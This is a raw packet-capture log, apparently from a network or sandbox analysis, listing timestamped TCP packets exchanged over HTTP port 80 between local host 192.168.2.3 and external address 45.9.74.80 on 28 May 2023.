May 28, 2023 10:42:43.742585897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742587090 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.742631912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.742676973 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.746485949 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.767407894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.767524004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.767573118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.767617941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.767642975 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.767664909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.767704010 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.767714024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.767760038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.767806053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.767853022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.767895937 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.767898083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.767945051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.767987013 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.767992020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768039942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768079042 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.768089056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768135071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768177032 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.768182039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768229961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768270016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.768306971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768357038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768402100 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768403053 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.768449068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768490076 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.768496037 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768544912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768588066 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.768589020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768637896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768682957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768728018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768728971 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.768795967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768841982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768886089 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768891096 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.768933058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.768976927 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.768978119 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769026041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769069910 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.769072056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769118071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769164085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769164085 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.769212961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769254923 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.769258022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769309044 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769355059 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769355059 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.769401073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769444942 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.769448042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769493103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769536018 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.769540071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769587040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769632101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769634008 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.769678116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769723892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769731045 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.769768953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769814968 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.769817114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769862890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769906044 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.769908905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769954920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.769996881 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.769999027 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770045996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770086050 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.770091057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770138025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770179033 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.770184994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770231009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770270109 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.770277023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770325899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770365953 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.770373106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770420074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770457983 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.770464897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770512104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770553112 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.770559072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770605087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770644903 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.770651102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770699024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770739079 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.770742893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770791054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770834923 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.770836115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770883083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770921946 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.770930052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.770976067 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771014929 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.771023035 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771070004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771109104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.771115065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771161079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771200895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.771207094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771253109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771292925 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.771298885 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771346092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771384954 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.771392107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771437883 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771481991 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.771481991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771532059 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771570921 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.771576881 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771622896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771663904 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.771668911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771718979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771759033 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.771764994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771811962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771855116 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.771856070 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771905899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771946907 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.771950960 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.771997929 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.772036076 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.772044897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.772090912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.772130966 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.772136927 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.772182941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.772227049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.772294998 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.772311926 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.772311926 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.772344112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.772389889 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.772434950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.772478104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.775294065 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.775294065 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.797195911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797265053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797317982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797365904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797369957 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.797410965 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797457933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797503948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797549009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797550917 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.797596931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797642946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797646999 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.797688961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797734976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797776937 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.797780991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797827959 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797867060 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.797873974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797920942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797967911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.797967911 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.798013926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798054934 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.798064947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798110962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798151016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.798156977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798202991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798243046 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.798248053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798295975 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798310995 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.798346043 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798391104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798434973 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.798437119 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798482895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798523903 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.798528910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798576117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798614979 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.798624039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798671961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798712015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.798717976 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798764944 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798805952 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.798810959 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798858881 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798897982 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.798902988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798950911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.798990965 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.798998117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799043894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799088001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.799091101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799138069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799179077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.799185038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799231052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799273014 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.799276114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799325943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799365997 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.799371004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799418926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799458027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.799464941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799510956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799551010 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.799556971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799604893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799644947 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.799650908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799696922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799738884 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.799743891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799789906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799837112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799838066 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.799884081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799926043 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.799931049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.799978018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800018072 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.800023079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800070047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800115108 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.800116062 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800163984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800205946 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.800210953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800256968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800323963 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.800339937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800384045 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.800388098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800448895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800489902 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.800494909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800542116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800580978 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.800586939 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800632954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800673008 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.800678015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800724983 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800762892 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.800770998 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800816059 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800854921 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.800862074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800909042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800954103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.800955057 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.801000118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801038027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.801044941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801091909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801131964 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.801141024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801187992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801233053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801234007 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.801279068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801320076 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.801326036 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801372051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801410913 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.801417112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801464081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801503897 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.801508904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801556110 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801593065 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.801599979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801665068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801709890 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.801711082 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801760912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801803112 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.801806927 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801852942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801898956 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.801898956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801947117 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.801994085 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.801995993 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.802042961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.802083969 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.802089930 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.802136898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.802181959 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.802184105 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.806320906 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.827053070 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827124119 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827171087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827218056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827260971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827312946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827336073 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.827336073 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.827361107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827408075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827452898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827497005 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827497005 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.827543020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827584028 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.827590942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827636003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827677011 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.827683926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827730894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827771902 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.827776909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827824116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827863932 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.827867031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827914953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.827954054 CEST	49704	80	192.168.2.3	45.9.74.80
